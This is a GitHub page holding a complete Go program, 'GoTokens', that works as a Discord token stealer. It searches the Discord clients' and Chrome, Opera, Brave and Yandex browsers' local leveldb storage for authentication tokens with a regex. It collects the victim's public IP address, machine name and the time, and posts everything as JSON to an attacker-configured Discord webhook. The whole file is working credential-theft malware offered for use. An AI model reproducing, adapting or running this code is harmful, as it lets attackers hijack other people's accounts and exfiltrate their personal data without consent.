-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathGoTokens.go
179 lines (158 loc) · 5.36 KB
/
GoTokens.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
package main
import (
"bytes"
"encoding/json"
"io/ioutil"
"log"
"net/http"
"os"
"path/filepath"
"regexp"
"strings"
"time"
)
// Settings
var webhook string = "WEBHOOK-URL-HERE"
var username string = "GoTokens | (by github.com/kcybe)"
var avatar_url string = "https://camo.githubusercontent.com/19701f26341abb91039ce91da2e1222c2ce8c8c12954ca7f35a6365b79ebe2df/68747470733a2f2f736563757265676f2e696f2f696d672f676f7365632e706e67"
// Getting the public IP address by http request
func getIPAddress() string {
resp, err := http.Get("https://ip4.seeip.org/")
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
return string(body)
}
// Getting the computer name from the environment
func getComputerName() string {
env := os.Environ()
for _, item := range env { // For info in environment
if strings.Contains(item, "COMPUTERNAME") { // If the Info contains the word "COMPUTERNAME"
computerName := strings.Split(item, "=") // Splitting the info to two
return computerName[1] // Returning only the needed data
} else { // If the info does not contain the word asked for it'll skip it
continue
}
}
return "Not Found"
}
// Getting the local folder path from the environment
func getLocal() string {
env := os.Environ()
for _, item := range env {
if strings.Contains(item, "LOCALAPPDATA") {
local := strings.Split(item, "=")
return local[1]
} else {
continue
}
}
return "Not Found"
}
// Getting the roaming folder path from the environment
func getRoaming() string {
env := os.Environ()
for _, item := range env {
if strings.Contains(item, "APPDATA") {
appdata := strings.Split(item, "=")
return appdata[1]
} else {
continue
}
}
return "Not Found"
}
// Fetching the tokens from the given path
func getTokens(path string) []string {
var tokens []string
path += "\\Local Storage\\leveldb\\" // Adding to the path given
files, err := ioutil.ReadDir(path) // Getting all the files in directory
if err != nil {
log.Fatal(err)
}
for _, f := range files { // For file in files
if filepath.Ext(f.Name()) == ".ldb" || filepath.Ext(f.Name()) == ".log" { // If the file has the extention of..
content, err := ioutil.ReadFile( path + f.Name() ) // Reading the file
if err != nil { // Catching error if there is
log.Fatal(err)
}
r, _ := regexp.Compile("[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}") // Searching for tokens with regex
tokens = append (tokens, r.FindString(string(content))) // Appending the list of tokens
} else { // Else if there are no tokens to fetch..
continue
}
}
return tokens
}
func main() {
// Setting all the data together
ip := getIPAddress()
computerName := getComputerName()
local := getLocal()
roaming := getRoaming()
var timenow = time.Now().String()
message := "```ini\n[ Go Tokens | Webhook ]\n" // Discord message title
var paths = map[string]string { // All the discord paths could be existed
"Discord": roaming + "\\Discord",
"Discord Canary": roaming + "\\discordcanary",
"Discord PTB": roaming + "\\discordptb",
"Google Chrome": local + "\\Google\\Chrome\\User Data\\Default",
"Opera": roaming + "\\Opera Software\\Opera Stable",
"Brave": local + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
"Yandex": local + "\\Yandex\\YandexBrowser\\User Data\\Default",
}
for _, path := range paths { // For path in paths
if _, err := os.Stat(path); os.IsNotExist(err) { // If path does not exists...
continue
} else { // Else if path exists
message += "\n" + path + ":\n" // Adding the path to the message
tokens := getTokens(path) // Getting all the tokens from the path
if len(tokens) > 0 { // If the list of tokens is greater then 0
for _, token := range tokens { // For token in the list of tokens
if len(token) > 1 { // If the token length is greater than 1 (more than one character)
message += token + "\n" // Adding the token to the message
} else { // Else if the token length is less than one (null)
continue
}
}
} else { // Else If the tokens list is less than 1 (null = not tokens found)
message += "Tokens Not Found"
}
}
}
message += "\nMachine Name: " + computerName + "\nIP Address: " + ip + "\n;Time: " + timenow + "```" // Adding more info about the machine to the message
type Webhook struct { // Structing the Webhook type for http request
Username string `json:"username"`
AvatarURL string `json:"avatar_url"`
Content string `json:"content"`
}
payload := Webhook{ // Putting together all the info of the webhook to the Webhook struct
Username: username,
AvatarURL: avatar_url,
Content: message,
}
client := &http.Client{} // Defining http client
webhookData, err := json.Marshal(payload) // Making json data from the payload for the http request
if err != nil {
log.Fatal(err)
}
req, err := http.NewRequest("POST", webhook, bytes.NewBuffer(webhookData)) // Defining the request, passing in "POST" (Post Request), webhook url defined in settings, the jsoned data
req.Header.Add("Content-Type", "application/json") // Adding header of content-type accepted
if err != nil {
log.Fatal(err)
}
webhookPost, err := client.Do(req) // Making the POST request
if err != nil {
log.Fatal(err)
}
if webhookPost.StatusCode == 204 { // If the webhook POST request is valid
log.Fatalf("true")
} else {
log.Fatalf("false")
}
}